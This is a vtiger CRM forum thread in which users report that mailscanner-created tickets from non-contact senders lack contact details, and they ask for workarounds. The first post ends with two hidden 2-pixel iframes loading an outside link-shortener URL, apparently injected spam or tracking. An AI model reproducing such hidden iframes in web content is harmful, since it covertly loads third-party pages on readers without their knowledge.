Email ticket updates to clients with no portal access?

I used mailscanner to automatically create tickets from emails sent to <!-- e --><a href="mailto:support@mydomain.com">support@mydomain.com</a><!-- e -->

1. When mailscanner creates a ticket from emails, by people who are not contacts in the system it doesn't show me how to contact them back.

2. The ticket has no contact information of the person who sent the email in the ticket.

3. Thus i can't reply back to the user who submitted the ticket....

4. So after emails are turned into tickets from "non-contacts" there's no way to figure out who they are or contact them to solve their issues.


Am i doing something wrong, or should i be doing this via another route?

Figured i could do this to kind achieve what i was trying to achieve in this thread:
- <!-- m --><a class="postlink" href="http://forums.vtiger.com/viewtopic.php?t=26111">http://forums.vtiger.com/viewtopic.php?t=26111</a><!-- m -->

Thank you in advance. <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;
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  • 12 Comments sorted by Votes Date Added
  • i'm also confused with mailscanner....

    if i create a rule to automatically create a contact, if the person sending the email doesn't exist in our database.....

    where does the email the person sent go? for example:

    1. all users in the crm has their own email at <!-- e --><a href="mailto:username@mydomain.com">username@mydomain.com</a><!-- e -->.

    2. i have mailscanner setup for: <!-- e --><a href="mailto:support@mydomain.com">support@mydomain.com</a><!-- e -->

    3. when using mailscanner, if i use the rule to add the client to the system if they doesn't exist.... then where does the email sent to <!-- e --><a href="mailto:support@mydomain.com">support@mydomain.com</a><!-- e --> go and how would we access it to reply to the client and what not?

    the first post in this thread is more important, but i would still like the answers in this reply as well.

    thank you in advance for those who take the time to reply <!-- s:) --><img src="{smilies_path}/icon_smile.gif" alt=":)" title="smile" /><!-- s:) -->.
  • okay, even more confusing.....

    1. when doing email support for people who are not "contacts" how do we send them emails with our replies in them?

    2. i sent an email from a non-contact, to an email setup in mail scanner.

    mail scanner creates the ticket automatically.. without the users contact information attached..

    so there is no way to email the person who sent the email which created the ticket...

    3. when updating the ticket, it doesn't send an email to the sender.... since no contact is associated with the ticket (mailscanner didn't find a contact to associate the ticket to).

    ---

    also since no email is sent to the sender, there's no way to use mailscanner to update the ticket if they email us with updates before receiving a reply from us.

    maybe im not understanding the purpose of mailscanner creating tickets?

    from what i gather, there is way to automatically create tickets from emails sent to <!-- e --><a href="mailto:support@mydomain.com">support@mydomain.com</a><!-- e --> from non-contacts, while at the same time providing a way to communicate with the person who sent the email.

    i have clients setup in the client portal, but not all clients have the time to login the portal because they send mail form their smart phones or from their outlook.

    so basically the quickest way for them to contact us is by sending emails.

    not to mention we get emails from prospective clients who are not yet contacts in the crm, but send us an email with questions. which is who i was trying to accommodate with mailscanner....

    is there a workaround or can someone point me in the right direction to accomplish the above? we are a start up, literally 3 weeks old so we are trying to build up the funds but can not purchase vtiger support at the moment.

    thank you in advance for all those who take the time to reply and assist <!-- s:) --><img src="{smilies_path}/icon_smile.gif" alt=":)" title="smile" /><!-- s:) -->.
  • anyone have an ideas on the best way to accomplish the above?
  • i've managed to get the mailscanner bringing mail in, and creating trouble tickets. it works great if the mail is from a contact already in the db, but it's useless if the contact is not already there.

    i had a look throught the trac request, and they're all great, but rather than wait for 5.2 for all these improvements, would anyone have an idea how to quickly add code that would create a new contact with the email address, and attach the incoming mail to that contact if the contact is not found in the db?? seems like an obvious patch to the problem.

    i've been looking through the code, but can't find it myself <!-- s:( --><img src="{smilies_path}/icon_sad.gif" alt=":(" title="sad" /><!-- s:( -->.

    many thanks,

    bb
  • if you find out a way, let us know.

    i've searching for a crm for my company. i thought i had found a perfect match until i realized that incoming email from someone who isn't a contact is pretty much useless.

    given a major portion of our support and sales email will be from people who are not yet setup as contacts, i'm going to have to go with another option unless i can find a solution somewhat quickly. <!-- s:( --><img src="{smilies_path}/icon_sad.gif" alt=":(" title="sad" /><!-- s:( -->
  • i'm now committed to using vtiger, and this is the only part i do not currently have running 100% to my satisfaction.

    i will investigate this in more detail, and will post back if i find a solution.
  • did anybody work out a way of doing this as we're currently evaluating vtiger and a major part of it would be support based

    it would be little use to us if one of our users emails in and it does not store their details to reply
  • anyone have a code fix for this yet.... it's the last piece of my puzzle. i am not an expert programmer, but have to think this is not the hardest customization ever tackled within the vtiger community.

    any help greatly appriciated!!
  • i'm using osticket at the moment. it's ok. <!-- m --><a class="postlink" href="http://osticket.com/">http://osticket.com/</a><!-- m -->
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